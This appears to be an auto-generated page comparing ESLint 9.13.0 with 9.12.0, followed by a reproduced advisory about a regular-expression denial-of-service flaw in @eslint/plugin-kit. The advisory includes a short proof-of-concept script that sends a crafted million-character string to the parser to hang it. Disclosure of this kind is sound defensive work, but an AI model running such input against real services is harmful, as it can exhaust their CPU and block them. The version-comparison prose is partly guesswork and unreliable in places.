ESLint 9.13.0 represents a recent iteration in the evolution of this popular JavaScript linting tool, building upon the solid foundation of version 9.12.0. For developers, the core functionality of enforcing code style and identifying potential errors remains consistent. However, subtle but important changes warrant attention. One key difference lies in the updated dependencies. @eslint/js advances from 9.12.0 to 9.13.0, potentially including refinements to the core JavaScript rules and parser configurations. This update ensures better compatibility with the latest JavaScript syntax. @eslint/core also sees a jump from version 0.6.0 to ^0.7.0, likely encompassing enhancements to the core linting engine and its configuration handling. While seemingly minor, these core library updates can lead to improved linting accuracy and performance. Knip, a tool focusing on finding unused files and dependencies is upgraded from 5.21.0 to 5.32.0 indicating improvements in dependency analysis. Beyond these, the "dist" section reveals that unpackedSize shows 9.13.0 is approximately 12KB larger than version 9.12.0. This might be attributed to the enhanced features and updated dependencies, but is unlikely to materially impact performance. The releaseDate is also relevant, indicating how recent the release is. The most relevant difference for developers using semantic versioning is the change in @eslint/core, which indicates that BC-breaking changes may have been implemented. Developers should test their configuration when adopting a new version.
All the vulnerabilities related to the version 9.13.0 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.